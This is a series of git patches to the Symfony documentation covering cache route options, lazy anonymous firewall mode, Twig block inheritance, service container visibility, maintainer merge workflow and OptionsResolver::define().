                 # special options defined by Symfony to set the page cache
                 maxAge:    86400
                 sharedAge: 86400
+                
+                # whether or not caching should apply for client caches only
+                private: true 
 
     .. code-block:: xml
 
@@ -494,6 +497,8 @@ provided by Symfony:
                 <!-- special options defined by Symfony to set the page cache -->
                 <default key="maxAge">86400</default>
                 <default key="sharedAge">86400</default>
+                 <!-- Whether or not caching should apply for client caches only -->
+                <default key="private">true</default>
             </route>
         </routes>
 
@@ -513,6 +518,9 @@ provided by Symfony:
                     // special options defined by Symfony to set the page cache
                     'maxAge'    => 86400,
                     'sharedAge' => 86400,
+                    
+                    // whether or not caching should apply for client caches only
+                    'private' => true,
                 ])
             ;
         };

From 4ae451b77355c298bd6f51299b55771f2fbf55e7 Mon Sep 17 00:00:00 2001
From: Jules Pietri <heahdude@yahoo.fr>
Date: Tue, 18 Feb 2020 19:25:13 +0100
Subject: [PATCH 0337/7107] fixed cs

---
 templates.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/templates.rst b/templates.rst
index 4bad36eb9a7..86ef37dce0c 100644
--- a/templates.rst
+++ b/templates.rst
@@ -497,7 +497,7 @@ provided by Symfony:
                 <!-- special options defined by Symfony to set the page cache -->
                 <default key="maxAge">86400</default>
                 <default key="sharedAge">86400</default>
-                 <!-- Whether or not caching should apply for client caches only -->
+                 <!-- whether or not caching should apply for client caches only -->
                 <default key="private">true</default>
             </route>
         </routes>

From 42e6ad7fcfb8723486f6a1a53d0af13188185910 Mon Sep 17 00:00:00 2001
From: Jules Pietri <heahdude@yahoo.fr>
Date: Mon, 17 Feb 2020 23:18:38 +0100
Subject: [PATCH 0338/7107] [Security] Explain lazy anonymous mode

---
 http_cache.rst          |  2 ++
 security.rst            | 32 ++++++++++++++++++++++++--------
 security/form_login.rst |  4 ++--
 3 files changed, 28 insertions(+), 10 deletions(-)

diff --git a/http_cache.rst b/http_cache.rst
index 18f4462e539..0f981eabf82 100644
--- a/http_cache.rst
+++ b/http_cache.rst
@@ -1,6 +1,8 @@
 .. index::
    single: Cache
 
+.. _http-cache:
+
 HTTP Cache
 ==========
 
diff --git a/security.rst b/security.rst
index 1b341e333e8..681c90d1d58 100644
--- a/security.rst
+++ b/security.rst
@@ -281,7 +281,7 @@ important section is ``firewalls``:
 
 .. versionadded:: 4.4
 
-    The ``anonymous: lazy`` option was introduced in Symfony 4.4.
+    The ``lazy`` anonymous mode has been introduced in Symfony 4.4.
 
 A "firewall" is your authentication system: the configuration below it defines
 *how* your users will be able to authenticate (e.g. login form, API token, etc).
@@ -293,18 +293,34 @@ accidentally block Symfony's dev tools - which live under URLs like ``/_profiler
 and ``/_wdt``.
 
 All *real* URLs are handled by the ``main`` firewall (no ``pattern`` key means
-it matches *all* URLs). But this does *not* mean that every URL requires authentication.
-Nope, thanks to the ``anonymous`` key, this firewall *is* accessible anonymously.
+it matches *all* URLs).
+A firewall can have many modes of authentication, in other words many ways to
+ask the question "Who are you?".
+It is convenient to first let users answer "I'm no one in particular, just a
+visitor as any other", this mode is ``anonymous``.
 
-In fact, if you go to the homepage right now, you *will* have access and you'll see
-that you're "authenticated" as ``anon.``. Don't be fooled by the "Yes" next to
-Authenticated. The firewall verified that it does not know your identity, and so,
-you are anonymous:
+In fact, if you go to the homepage right now, you *will* have access and you'll
+see that you're "authenticated" as ``anon.``. The firewall verified that it
+does not know your identity, and so, you are anonymous:
 
 .. image:: /_images/security/anonymous_wdt.png
    :align: center
 
-You'll learn later how to deny access to certain URLs or controllers.
+It means any request can have an anonymous token to access some resource, while
+some actions (i.e. some pages or buttons) can still require some privileges.
+A request can then access a form login without being authenticated as a unique
+user (otherwise an infinite redirection loop would happen asking the user to
+authenticate while trying to doing so).
+
+You'll learn later how to deny access to certain URLs, controllers, or part of
+templates.
+
+.. note::
+
+    The ``lazy`` anonymous mode prevent the session from being started if there
+    is no need for authorization (i.e. explicit check for a user privilege).
+    This is important to keep requests cacheable (see
+    :ref:`HTTP cache <http-cache>`).
 
 .. note::
 
diff --git a/security/form_login.rst b/security/form_login.rst
index f7763ce8094..cd53d277c88 100644
--- a/security/form_login.rst
+++ b/security/form_login.rst
@@ -45,7 +45,7 @@ First, enable ``form_login`` under your firewall:
 
             <config>
                 <firewall name="main">
-                    <anonymous/>
+                    <anonymous lazy="true"/>
                     <form-login login-path="login" check-path="login"/>
                 </firewall>
             </config>
@@ -57,7 +57,7 @@ First, enable ``form_login`` under your firewall:
         $container->loadFromExtension('security', [
             'firewalls' => [
                 'main' => [
-                    'anonymous'  => null,
+                    'anonymous'  => 'lazy',
                     'form_login' => [
                         'login_path' => 'login',
                         'check_path' => 'login',

From d4c44d0d6f2a2ec5fc7c63f59c073689c58a476d Mon Sep 17 00:00:00 2001
From: Jules Pietri <heahdude@yahoo.fr>
Date: Tue, 18 Feb 2020 22:45:36 +0100
Subject: [PATCH 0339/7107] [Twig] tweaked first block examples

---
 templating.rst | 80 ++++++++++++++++++++++++++++++--------------------
 1 file changed, 48 insertions(+), 32 deletions(-)

diff --git a/templating.rst b/templating.rst
index 8652b6da136..600648f2f5f 100644
--- a/templating.rst
+++ b/templating.rst
@@ -178,20 +178,25 @@ First, build a base layout file:
         <head>
             <meta charset="UTF-8">
             <title>{% block title %}Test Application{% endblock %}</title>
+            {% block stylesheets %}
+                <link rel="stylesheet" type="text/css" href="/css/base.css"/>
+            {% endblock
         </head>
         <body>
-            <div id="sidebar">
-                {% block sidebar %}
-                    <ul>
-                        <li><a href="/">Home</a></li>
-                        <li><a href="/blog">Blog</a></li>
-                    </ul>
-                {% endblock %}
-            </div>
-
-            <div id="content">
-                {% block body %}{% endblock %}
-            </div>
+            {% block body %}
+                <div id="sidebar">
+                    {% block sidebar %}
+                        <ul>
+                            <li><a href="/">Home</a></li>
+                            <li><a href="/blog">Blog</a></li>
+                        </ul>
+                    {% endblock %}
+                </div>
+
+                <div id="content">
+                    {% block content %}{% endblock %}
+                </div>
+            {% endblock %}
         </body>
     </html>
 
@@ -201,11 +206,11 @@ First, build a base layout file:
     the philosophy is the same between Twig and PHP templates.
 
 This template defines the base HTML skeleton document of a simple two-column
-page. In this example, three ``{% block %}`` areas are defined (``title``,
-``sidebar`` and ``body``). Each block may be overridden by a child template
-or left with its default implementation. This template could also be rendered
-directly. In that case the ``title``, ``sidebar`` and ``body`` blocks would
-simply retain the default values used in this template.
+page. In this example, five ``{% block %}`` areas are defined (``title``,
+``stylesheets``, ``body``, ``sidebar`` and ``content``). Each block may be
+overridden by a child template or left with its default implementation. This
+template could also be rendered directly. In that case the ``title`` and
+``body`` blocks would simply retain the default values used in this template.
 
 A child template might look like this:
 
@@ -243,28 +248,22 @@ output might look like this:
         <head>
             <meta charset="UTF-8">
             <title>My cool blog posts</title>
+            <link rel="stylesheet" type="text/css" href="/css/base.css"/>
         </head>
         <body>
-            <div id="sidebar">
-                <ul>
-                    <li><a href="/">Home</a></li>
-                    <li><a href="/blog">Blog</a></li>
-                </ul>
-            </div>
-
-            <div id="content">
-                <h2>My first post</h2>
-                <p>The body of the first post.</p>
-
-                <h2>Another post</h2>
-                <p>The body of the second post.</p>
-            </div>
+            <h2>My first post</h2>
+            <p>The body of the first post.</p>
+
+            <h2>Another post</h2>
+            <p>The body of the second post.</p>
         </body>
     </html>
 
-Notice that since the child template didn't define a ``sidebar`` block, the
+Notice that since the child template didn't define a ``stylesheets`` block, the
 value from the parent template is used instead. Content within a ``{% block %}``
 tag in a parent template is always used by default.
+However the ``body`` block has been replaced entirely. To keep a default sidebar
+the ``content`` block can be overridden instead.
 
 .. tip::
 
@@ -301,6 +300,23 @@ When working with template inheritance, here are some tips to keep in mind:
           {{ parent() }}
       {% endblock %}
 
+.. caution::
+
+    When using ``extends``, a child template is forbidden to define template
+    parts outside of a block. The following code throws a ``SyntaxError``:
+
+    .. code-block:: html+twig
+
+        {# app/Resources/views/blog/index.html.twig #}
+        {% extends 'base.html.twig' %}
+
+        {# the line below is not captured by a "block" tag #}
+        <div class="alert">Some Alert</div>
+
+        {# the following is valid #}
+        {% block content %}My cool blog posts{% endblock %}
+
+
 .. index::
    single: Templating; Naming conventions
    single: Templating; File locations

From b57e67977f936f587e170ad404e631286908ec0c Mon Sep 17 00:00:00 2001
From: Jules Pietri <heahdude@yahoo.fr>
Date: Wed, 19 Feb 2020 01:59:44 +0100
Subject: [PATCH 0340/7107] tweak #13099

---
 service_container/service_subscribers_locators.rst | 9 ++++++---
 1 file changed, 6 insertions(+), 3 deletions(-)

diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index f0075c75378..25665c65474 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -558,9 +558,12 @@ attribute to the locator service defining the name of this custom method:
                     ->args([tagged_locator('app.handler', 'key', 'myOwnMethodName')])
             ;
         };
-        
-Note since code should not be the place that decides how the locators are going to be used, a configuration key (`key` in the example above) must be set in order this to work. So the custom method may be called as a fallback.
-        
+
+.. note:
+
+    Since code should not be responsible for defining how the locators are
+    going to be used, a configuration key (``key`` in the example above) must
+    be set so the custom method may be called as a fallback.
 
 Service Subscriber Trait
 ------------------------

From 2a664733f983266f41bdeee96a826ed6d8e2dec8 Mon Sep 17 00:00:00 2001
From: Jules Pietri <heahdude@yahoo.fr>
Date: Wed, 19 Feb 2020 02:01:03 +0100
Subject: [PATCH 0341/7107] fixup

---
 service_container/service_subscribers_locators.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index 25665c65474..0106b34cab7 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -559,7 +559,7 @@ attribute to the locator service defining the name of this custom method:
             ;
         };
 
-.. note:
+.. note::
 
     Since code should not be responsible for defining how the locators are
     going to be used, a configuration key (``key`` in the example above) must

From 369498046aa3c1687f60e1d7c0d2d66d72f6f876 Mon Sep 17 00:00:00 2001
From: Jules Pietri <heah@heahprod.com>
Date: Wed, 5 Feb 2020 19:00:26 +0100
Subject: [PATCH 0342/7107] [DependencyInjection] Fixed public service use case

---
 service_container.rst                         | 48 +++++++++++++------
 .../service_subscribers_locators.rst          |  2 +
 2 files changed, 36 insertions(+), 14 deletions(-)

diff --git a/service_container.rst b/service_container.rst
index 7b772f14626..c6365940e97 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -815,20 +815,35 @@ Public Versus Private Services
 From Symfony 4.0, every service defined is private by default.
 
 What does this mean? When a service **is** public, you can access it directly
-from the container object, which is accessible from any controller that extends
-``Controller``::
+from the container object, which can also be injected thanks to autowiring.
+This is mostly useful when you want to fetch services lazily::
 
-    use App\Service\MessageGenerator;
+    namespace App\Generator;
 
-    // ...
-    public function new()
+    use Psr\Container\ContainerInterface;
+
+    class MessageGenerator
     {
-        // there IS a public "logger" service in the container
-        $logger = $this->container->get('logger');
+        private $container;
 
-        // this will NOT work: MessageGenerator is a private service
-        $generator = $this->container->get(MessageGenerator::class);
-    }
+        public function __construct(ContainerInterface $container)
+        {
+            $this->container = $container;
+        }
+
+        public function generate(string $message, string $template = null, array $context = []): string
+        {
+            if ($template && $this->container->has('twig')) {
+                // there IS a public "twig" service in the container
+                $twig = $this->container->get('twig');
+
+                return $twig->render($template, $context + ['message' => $message]);
+            }
+
+            // if no template is passed, the "twig" service will not be loaded
+
+            // ...
+        }
 
 As a best practice, you should only create *private* services, which will happen
 automatically. And also, you should *not* use the ``$container->get()`` method to
@@ -845,7 +860,7 @@ But, if you *do* need to make a service public, override the ``public`` setting:
             # ... same code as before
 
             # explicitly configure the service
-            App\Service\MessageGenerator:
+            Acme\PublicService:
                 public: true
 
     .. code-block:: xml
@@ -861,7 +876,7 @@ But, if you *do* need to make a service public, override the ``public`` setting:
                 <!-- ... same code as before -->
 
                 <!-- Explicitly configure the service -->
-                <service id="App\Service\MessageGenerator" public="true"></service>
+                <service id="Acme\PublicService" public="true"></service>
             </services>
         </container>
 
@@ -870,17 +885,22 @@ But, if you *do* need to make a service public, override the ``public`` setting:
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        use App\Service\MessageGenerator;
+        use Acme\PublicService;
 
         return function(ContainerConfigurator $configurator) {
             // ... same as code before
 
             // explicitly configure the service
-            $services->set(MessageGenerator::class)
+            $services->set(PublicService::class)
                 ->public()
             ;
         };
 
+.. note::
+
+    Instead of injecting the container you should consider using a
+    :ref:`service locator <service-locators>` instead.
+
 .. _service-psr4-loader:
 
 Importing Many Services at once with resource
diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index 5a12cf1c3e6..f777cabd135 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -1,6 +1,8 @@
 .. index::
     single: DependencyInjection; Service Subscribers
 
+.. _service-locators:
+
 Service Subscribers & Locators
 ==============================
 

From f7b5f320067c879c997c530316e4e67a4838139b Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 19 Feb 2020 07:54:35 +0100
Subject: [PATCH 0343/7107] Use valid versionj in maintainer guide. refs #13175

---
 _build/maintainer_guide.rst | 54 ++++++++++++++++++-------------------
 1 file changed, 27 insertions(+), 27 deletions(-)

diff --git a/_build/maintainer_guide.rst b/_build/maintainer_guide.rst
index 9788fd057f5..7eff3143941 100644
--- a/_build/maintainer_guide.rst
+++ b/_build/maintainer_guide.rst
@@ -134,9 +134,9 @@ original contributor.
     $ cd symfony-docs/
 
     # make sure that your local branch is updated
-    $ git checkout 3.4
+    $ git checkout 4.4
     $ git fetch upstream
-    $ git merge upstream/3.4
+    $ git merge upstream/4.4
 
     # merge any PR passing its GitHub number as argument
     $ gh merge 11159
@@ -153,20 +153,20 @@ the ``-s`` option:
 
 .. code-block:: terminal
 
-    # e.g. this PR was sent against 'master', but it's merged in '3.4'
-    $ gh merge 11160 -s 3.4
+    # e.g. this PR was sent against 'master', but it's merged in '4.4'
+    $ gh merge 11160 -s 4.4
 
 Sometimes, when changing the branch, you may face rebase issues, but they are
 usually simple to fix:
 
 .. code-block:: terminal
 
-    $ gh merge 11160 -s 3.4
+    $ gh merge 11160 -s 4.4
 
       ...
 
       Unable to rebase the patch for <comment>pull/11183</comment>
-      The command "'git' 'rebase' '--onto' '3.4' '4.4' 'pull/11160'" failed.
+      The command "'git' 'rebase' '--onto' '4.4' '5.0' 'pull/11160'" failed.
       Exit Code: 128(Invalid exit argument)
 
       [...]
@@ -183,7 +183,7 @@ usually simple to fix:
 
     # Lastly, re-run the exact same original command that resulted in a conflict
     # There's no need to change the branch or do anything else.
-    $ gh merge 11160 -s 3.4
+    $ gh merge 11160 -s 4.4
 
       The previous run had some conflicts. Do you want to resume the merge? (Y/n)
 
@@ -195,29 +195,29 @@ Step 3: Merge it into the other branches
 
 If a PR has not been merged in ``master``, you must merge it up into all the
 maintained branches until ``master``. Imagine that you are merging a PR against
-``3.4`` and the maintained branches are ``3.4``, ``4.4`` and ``master``:
+``4.4`` and the maintained branches are ``4.4``, ``5.0`` and ``master``:
 
 .. code-block:: terminal
 
     $ git fetch upstream
 
-    $ git checkout 3.4
-    $ git merge upstream/3.4
+    $ git checkout 4.4
+    $ git merge upstream/4.4
 
     $ gh merge 11159
     $ git push origin
     $ git push upstream
 
-    $ git checkout 4.4
-    $ git merge upstream/4.4
-    $ git merge --log 3.4
+    $ git checkout 5.0
+    $ git merge upstream/5.0
+    $ git merge --log 4.4
     # here you can face several errors explained later
     $ git push origin
     $ git push upstream
 
     $ git checkout master
     $ git merge upstream/master
-    $ git merge --log 4.4
+    $ git merge --log 5.0
     $ git push origin
     $ git push upstream
 
@@ -247,8 +247,8 @@ When updating your local branches before merging:
 .. code-block:: terminal
 
     $ git fetch upstream
-    $ git checkout 3.4
-    $ git merge upstream/3.4
+    $ git checkout 4.4
+    $ git merge upstream/4.4
 
 It's possible that you merge a wrong upstream branch unawarely. It's usually
 easy to spot because you'll see lots of conflicts:
@@ -256,8 +256,8 @@ easy to spot because you'll see lots of conflicts:
 .. code-block:: terminal
 
     # DON'T DO THIS! It's a wrong branch merge
-    $ git checkout 3.4
-    $ git merge upstream/4.4
+    $ git checkout 4.4
+    $ git merge upstream/5.0
 
 As long as you don't push this wrong merge, there's no problem. Delete your
 local branch and check it out again:
@@ -265,8 +265,8 @@ local branch and check it out again:
 .. code-block:: terminal
 
     $ git checkout master
-    $ git branch -D 3.4
-    $ git checkout 3.4 upstream/3.4
+    $ git branch -D 4.4
+    $ git checkout 4.4 upstream/4.4
 
 If you did push the wrong branch merge, ask for help in the documentation
 mergers chat and we'll help solve the problem.
@@ -278,9 +278,9 @@ When merging things to upper branches, most of the times you'll see conflicts:
 
 .. code-block:: terminal
 
-    $ git checkout 4.4
-    $ git merge upstream/4.4
-    $ git merge --log 3.4
+    $ git checkout 5.0
+    $ git merge upstream/5.0
+    $ git merge --log 4.4
 
       Auto-merging security/entity_provider.rst
       Auto-merging logging/monolog_console.rst
@@ -314,13 +314,13 @@ were modified by the PR but no longer exist in newer branches:
 
 .. code-block:: terminal
 
-    $ git checkout 4.4
-    $ git merge upstream/4.4
-    $ git merge --log 3.4
+    $ git checkout 5.0
+    $ git merge upstream/5.0
+    $ git merge --log 4.4
 
       Auto-merging translation/debug.rst
       CONFLICT (modify/delete): service_container/scopes.rst deleted in HEAD and
-      modified in 3.4. Version 3.4 of service_container/scopes.rst left in tree.
+      modified in 4.4. Version 4.4 of service_container/scopes.rst left in tree.
       Auto-merging service_container.rst
 
 If the contents of the deleted file were moved to a different file in newer

From bde5a70e76611ec7c0b8bbfcb91658d859176f0a Mon Sep 17 00:00:00 2001
From: Yohann Durand <34881241+Yohann76@users.noreply.github.com>
Date: Wed, 19 Feb 2020 02:41:19 +0100
Subject: [PATCH 0344/7107] Update form.rst

---
 components/form.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/form.rst b/components/form.rst
index 84b4664d671..a2990e8d18d 100644
--- a/components/form.rst
+++ b/components/form.rst
@@ -651,7 +651,7 @@ This defines a common form "workflow", which contains 3 different possibilities:
 1) On the initial GET request (i.e. when the user "surfs" to your page),
    build your form and render it;
 
-If the request is a POST, process the submitted data (via ``handleRequest()``).
+If the request is a POST, process the submitted data (via :method:`Symfony\\Component\\Form\\Form::handleRequest`).
 Then:
 
 2) if the form is invalid, re-render the form (which will now contain errors);

From b96705c3ff4208e13972b7288f555e6d39c308be Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 19 Feb 2020 07:57:31 +0100
Subject: [PATCH 0345/7107] Reference method

---
 components/form.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/components/form.rst b/components/form.rst
index a2990e8d18d..9821381c32b 100644
--- a/components/form.rst
+++ b/components/form.rst
@@ -535,7 +535,7 @@ Changing a Form's Method and Action
 By default, a form is submitted to the same URI that rendered the form with
 an HTTP POST request. This behavior can be changed using the :ref:`form-option-action`
 and :ref:`form-option-method` options (the ``method`` option is also used
-by ``handleRequest()`` to determine whether a form has been submitted):
+by :method:`Symfony\\Component\\Form\\Form::handleRequest` to determine whether a form has been submitted):
 
 .. configuration-block::
 
@@ -658,8 +658,8 @@ Then:
 3) if the form is valid, perform some action and redirect.
 
 Luckily, you don't need to decide whether or not a form has been submitted.
-Just pass the current request to the ``handleRequest()`` method. Then, the Form
-component will do all the necessary work for you.
+Just pass the current request to the :method:`Symfony\\Component\\Form\\Form::handleRequest`
+method. Then, the Form component will do all the necessary work for you.
 
 .. _component-form-intro-validation:
 

From fdad649b3ac8a8a8ce62cec928243ef1213dc3bd Mon Sep 17 00:00:00 2001
From: Abdouni Abdelkarim <abdounikarim@gmail.com>
Date: Mon, 17 Feb 2020 11:49:37 +0100
Subject: [PATCH 0346/7107] Update messenger.rst

I remove the flex alias (according to the other docs page).
I add the namespace and file localisation.
---
 messenger.rst | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index ca8be7499be..5f153908971 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -17,7 +17,7 @@ install messenger:
 
 .. code-block:: terminal
 
-    $ composer require messenger
+    $ composer require symfony/messenger
 
 Creating a Message & Handler
 ----------------------------
@@ -321,6 +321,9 @@ If you need to pass a Doctrine entity in a message, it's better to pass the enti
 primary key (or whatever relevant information the handler actually needs, like ``email``,
 etc) instead of the object::
 
+    // src/Message/NewUserWelcomeEmail.php
+    namespace App\Message;
+    
     class NewUserWelcomeEmail
     {
         private $userId;

From 264d1d61abbb9ae6f1995be112c2f5fb08f0b513 Mon Sep 17 00:00:00 2001
From: Yohann Durand <34881241+Yohann76@users.noreply.github.com>
Date: Sun, 16 Feb 2020 23:11:19 +0100
Subject: [PATCH 0347/7107] Update mailer.rst

---
 mailer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index 2844afdd48c..0ea051f1e5e 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -576,7 +576,7 @@ encrypt a signed message and/or to sign an encrypted message.
 Before signing/encrypting messages, make sure to have:
 
 * The `OpenSSL PHP extension`_ properly installed and configured;
-* A valid S/MIME security certificate.
+* A valid `S/MIME`_ security certificate.
 
 Signing Messages
 ~~~~~~~~~~~~~~~~

From 432a1d6b9018110dd07dbd3bb6fa8ed75c329cb3 Mon Sep 17 00:00:00 2001
From: Abdouni Abdelkarim <abdounikarim@gmail.com>
Date: Sat, 15 Feb 2020 02:07:09 +0100
Subject: [PATCH 0348/7107] Update routing.rst

I updated path and content file.
---
 routing.rst | 10 +++++++---
 1 file changed, 7 insertions(+), 3 deletions(-)

diff --git a/routing.rst b/routing.rst
index 946155b3c02..7f9ed774e18 100644
--- a/routing.rst
+++ b/routing.rst
@@ -34,10 +34,14 @@ following configuration file:
 
 .. code-block:: yaml
 
-    # config/routes.yaml
+    # config/routes/annotations.yaml
     controllers:
-        resource: '../src/Controller/'
-        type:     annotation
+        resource: '../../src/Controller/'
+        type: annotation
+        
+    kernel:
+        resource: ../../src/Kernel.php
+        type: annotation
 
 This configuration tells Symfony to look for routes defined as annotations in
 any PHP class stored in the ``src/Controller/`` directory.

From 1703a2f16c1ba7e20e223135cb895891ae9bb87c Mon Sep 17 00:00:00 2001
From: Sacha Durand <sacha6623@gmail.com>
Date: Sat, 15 Feb 2020 02:10:21 +0100
Subject: [PATCH 0349/7107] Update routing.rst

---
 routing.rst | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/routing.rst b/routing.rst
index 7f9ed774e18..35ee0866a99 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1971,6 +1971,9 @@ This information can be configured per command too::
     // src/Command/SomeCommand.php
     namespace App\Command;
 
+    use Symfony\Component\Console\Command\Command;
+    use Symfony\Component\Console\Input\InputInterface;
+    use Symfony\Component\Console\Output\OutputInterface;
     use Symfony\Component\Routing\Generator\UrlGeneratorInterface;
     use Symfony\Component\Routing\RouterInterface;
     // ...

From 0561b5ad2304313f638c5dff08bcaae27d60bfe5 Mon Sep 17 00:00:00 2001
From: Thomas Le Duc <dev@tleduc.de>
Date: Mon, 10 Feb 2020 07:20:57 +0100
Subject: [PATCH 0350/7107] Update http_authentication.rst

The preferred way to get the container in functional tests is `self::$container` (see https://symfony.com/doc/current/testing.html#accessing-the-container).

The issue with `$this->client->getContainer()` is that `Symfony\Bundle\FrameworkBundle\KernelBrowser::getContainer()` can return `null`. This can lead to a NullPointerException when calling `get()` on it.
---
 testing/http_authentication.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/testing/http_authentication.rst b/testing/http_authentication.rst
index 0fe6d4aea85..33bd113d544 100644
--- a/testing/http_authentication.rst
+++ b/testing/http_authentication.rst
@@ -111,7 +111,7 @@ needs::
 
         private function logIn()
         {
-            $session = $this->client->getContainer()->get('session');
+            $session = self::$container->get('session');
 
             $firewallName = 'secure_area';
             // if you don't define multiple connected firewalls, the context defaults to the firewall name

From 921c73f7476126ec40eb39d6f957c5f3df3f55cb Mon Sep 17 00:00:00 2001
From: Lorenzo Millucci <lorenzo.millucci@gmail.com>
Date: Sat, 5 Oct 2019 11:05:21 +0200
Subject: [PATCH 0351/7107] [OptionResolver] Document the OptionConfigurator

---
 components/options_resolver.rst | 32 ++++++++++++++++++++++++++++++++
 1 file changed, 32 insertions(+)

diff --git a/components/options_resolver.rst b/components/options_resolver.rst
index 4c2ef3c1254..0870a4148dd 100644
--- a/components/options_resolver.rst
+++ b/components/options_resolver.rst
@@ -782,6 +782,38 @@ the option::
 This closure receives as argument the value of the option after validating it
 and before normalizing it when the option is being resolved.
 
+Chaining option configurations
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+In many cases you may need to define multiple configurations for each option.
+For example, suppose the ``Mailer`` class has an ``host`` option that is required
+and a ``transport`` option which can be one of ``sendmail``, ``mail`` and ``smtp``.
+You can improve the readability of the code avoiding to duplicate option name for
+each configuration using the method
+:method:`Symfony\\Component\\OptionsResolver\\OptionsResolver::define``::
+
+    // ...
+    class Mailer
+    {
+        // ...
+        public function configureOptions(OptionsResolver $resolver)
+        {
+            // ...
+            $resolver->define('host')
+                ->required()
+                ->default('smtp.example.org')
+                ->allowedTypes('string');
+            $resolver->define('transport')
+                ->required()
+                ->default('transport')
+                ->allowedValues(['sendmail', 'mail', 'smtp']);
+        }
+    }
+
+.. versionadded:: 5.1
+
+    The ``define()`` method was introduced in Symfony 5.1.
+
 Performance Tweaks
 ~~~~~~~~~~~~~~~~~~
 

From 94495ac5d188dd4b7ca34566780401c8c4576d13 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 19 Feb 2020 08:17:04 +0100
Subject: [PATCH 0352/7107] minor. refs #12426

---
 components/options_resolver.rst | 13 +++++++------
 1 file changed, 7 insertions(+), 6 deletions(-)

diff --git a/components/options_resolver.rst b/components/options_resolver.rst
index f45a0e2e3d2..9c7d31d5813 100644
--- a/components/options_resolver.rst
+++ b/components/options_resolver.rst
@@ -778,18 +778,18 @@ the option::
 This closure receives as argument the value of the option after validating it
 and before normalizing it when the option is being resolved.
 
-Chaining option configurations
+Chaining Option Configurations
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 In many cases you may need to define multiple configurations for each option.
-For example, suppose the ``Mailer`` class has an ``host`` option that is required
+For example, suppose the ``InvoiceMailer`` class has an ``host`` option that is required
 and a ``transport`` option which can be one of ``sendmail``, ``mail`` and ``smtp``.
 You can improve the readability of the code avoiding to duplicate option name for
-each configuration using the method
-:method:`Symfony\\Component\\OptionsResolver\\OptionsResolver::define``::
+each configuration using the :method:`Symfony\\Component\\OptionsResolver\\OptionsResolver::define`
+method::
 
     // ...
-    class Mailer
+    class InvoiceMailer
     {
         // ...
         public function configureOptions(OptionsResolver $resolver)
@@ -808,7 +808,8 @@ each configuration using the method
 
 .. versionadded:: 5.1
 
-    The ``define()`` method was introduced in Symfony 5.1.
+    The :method:`Symfony\\Component\\OptionsResolver\\OptionsResolver::define` method
+    was introduced in Symfony 5.1.
 
 Performance Tweaks
 ~~~~~~~~~~~~~~~~~~

From 5a4ce48544dc8584fb22f351addad0a4316c2e77 Mon Sep 17 00:00:00 2001
From: Abdouni Abdelkarim <abdounikarim@gmail.com>
Date: Tue, 18 Feb 2020 15:15:16 +0100
Subject: [PATCH 0353/7107] Update copy-files.rst

---
 frontend/encore/copy-files.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/frontend/encore/copy-files.rst b/frontend/encore/copy-files.rst
index f1c51fb5a9d..bc263ef056a 100644
--- a/frontend/encore/copy-files.rst
+++ b/frontend/encore/copy-files.rst
@@ -18,7 +18,7 @@ To reference an image tag from inside a JavaScript file, *require* the file:
     // path is relative to this file - e.g. assets/images/logo.png
     const logoPath = require('../images/logo.png');
 
-    var html = `<img src="${logoPath}">`;
+    let html = `<img src="${logoPath}" alt="ACME logo">`;
 
 When you ``require`` (or ``import``) an image file, Webpack copies it into your
 output directory and returns the final, *public* path to that file.
@@ -60,10 +60,10 @@ To render inside Twig, use the ``asset()`` function:
 .. code-block:: html+twig
 
     {# assets/images/logo.png was copied to public/build/logo.png #}
-    <img src="{{ asset('build/logo.png') }}">
+    <img src="{{ asset('build/logo.png') }}" alt="ACME logo">
 
     {# assets/images/subdir/logo.png was copied to public/build/subdir/logo.png #}
-    <img src="{{ asset('build/subdir/logo.png') }}">
+    <img src="{{ asset('build/subdir/logo.png') }}" alt="ACME logo">
 
 Make sure you've enabled the :ref:`json_manifest_path <load-manifest-files>` option,
 which tells the ``asset()`` function to read the final paths from the ``manifest.json``

From 11593e3265cc8d74babe8e2883386188f39b06f3 Mon Sep 17 00:00:00 2001
From: Zairig Imad <imadzairig@gmail.com>
Date: Fri, 24 Jan 2020 22:02:20 +0100
Subject: [PATCH 0354/7107] add note to use the constraint UserPassword

---
 .12983-suspended                       |  1 +
 reference/constraints/UserPassword.rst | 24 +++++++++++++-----------
 2 files changed, 14 insertions(+), 11 deletions(-)
 create mode 100644 .12983-suspended

diff --git a/.12983-suspended b/.12983-suspended
new file mode 100644
index 00000000000..d93d3af5df1
--- /dev/null
+++ b/.12983-suspended
@@ -0,0 +1 @@
+{"category":"minor","has_comments":false,"squashed":true,"savepoint":"applypatch"}
\ No newline at end of file
diff --git a/reference/constraints/UserPassword.rst b/reference/constraints/UserPassword.rst
index 310e46d5192..abb98a11e58 100644
--- a/reference/constraints/UserPassword.rst
+++ b/reference/constraints/UserPassword.rst
